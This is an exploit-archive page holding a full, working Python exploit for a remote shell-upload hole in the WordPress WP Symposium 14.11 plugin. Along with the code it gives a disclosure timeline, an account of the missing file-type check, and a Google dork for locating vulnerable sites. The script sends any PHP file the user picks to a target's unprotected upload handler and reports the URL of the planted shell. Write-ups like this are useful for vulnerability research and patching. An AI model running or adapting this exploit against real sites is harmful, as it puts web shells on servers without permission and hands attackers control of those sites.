what you don't know can hurt you

WordPress WP Symposium 14.11 Shell Upload

WordPress WP Symposium 14.11 Shell Upload
Posted Dec 12, 2014
Authored by Claudio Viviani

WordPress WP Symposium plugin version 14.11 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | ac04e83350139c5901ed8fd42e22a464

WordPress WP Symposium 14.11 Shell Upload

Change Mirror Download
#!/usr/bin/python
#
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
#
#
# Vulnerability discovered by Claudio Viviani
#
# Exploit written by Claudio Viviani
#
#
# 2014-11-27: Discovered vulnerability
# 2014-12-01: Vendor Notification (Twitter)
# 2014-12-02: Vendor Notification (Web Site)
# 2014-12-04: Vendor Notification (E-mail)
# 2014-12-11: No Response/Feedback
# 2014-12-11: Published
#
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
#
# --------------------------------------------------------------------
#
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
#
# if ($_FILES["file"]["error"] > 0) {
# echo "Error: " . $_FILES["file"]["error"] . "<br>";
# } else {
# $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
# //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
# $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
# //echo "Extension: " . $ext . "<br />";
# if (strpos($allowedExts, $ext)) {
# $extAllowed = true;
# } else {
# $extAllowed = false;
# }
# //echo "Type: " . $_FILES["file"]["type"] . "<br>";
# //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
# //echo "Stored in: " . $_FILES["file"]["tmp_name"];
#
# if (!$extAllowed) {
# echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
# } else {
# // Copy file to tmp location
# ...
# ...
# ...
#
# BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
#
# The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
#
# ---------------------------------------------------------------------
#
# Dork google: index of "wp-symposium"
#
#
# Tested on BackBox 3.x with python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse
# File management
import os, os.path, mimetypes

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file
# Get file's mimetype
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

# Create multipart header
def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):

getfields = dict()
getfields['uploader_uid'] = '1'
getfields['uploader_dir'] = './'+randDirName
getfields['uploader_url'] = url_symposium_upload

payloadcontent = open(payloadname).read()

LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'

L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)

L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
L.append('Content-Type: %s' % get_content_type(payloadname))
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body

banner = """
___ ___ __
| Y .-----.----.--| .-----.----.-----.-----.-----.
|. | | _ | _| _ | _ | _| -__|__ --|__ --|
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|
|: | |__|
|::.|:. |
`--- ---'
___ ___ _______ _______ __
| Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------.
|. | |. 1 |______| 1___| | | | _ | _ |__ --| | | | |
|. / \ |. ____| |____ |___ |__|__|__| __|_____|_____|__|_____|__|__|__|
|: |: | |: 1 |_____| |__|
|::.|:. |::.| |::.. . |
`--- ---`---' `-------'
Wp-Symposium
Sh311 Upl04d Vuln3r4b1l1ty
v14.11

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
print(banner)
commandList.print_help()
sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

randDirName = id_generator()
randShellName = id_generator()

bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'content-type': content_type,
'content-length': str(len(bodyupload)) }

try:
req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
response = urllib2.urlopen(req)
read = response.read()

if "error" in read or read == "0" or read == "":
print("[X] Upload Failed :(")
else:
print("[!] Shell Uploaded")
print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")

except urllib2.HTTPError as e:
print("[X] "+str(e))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e))

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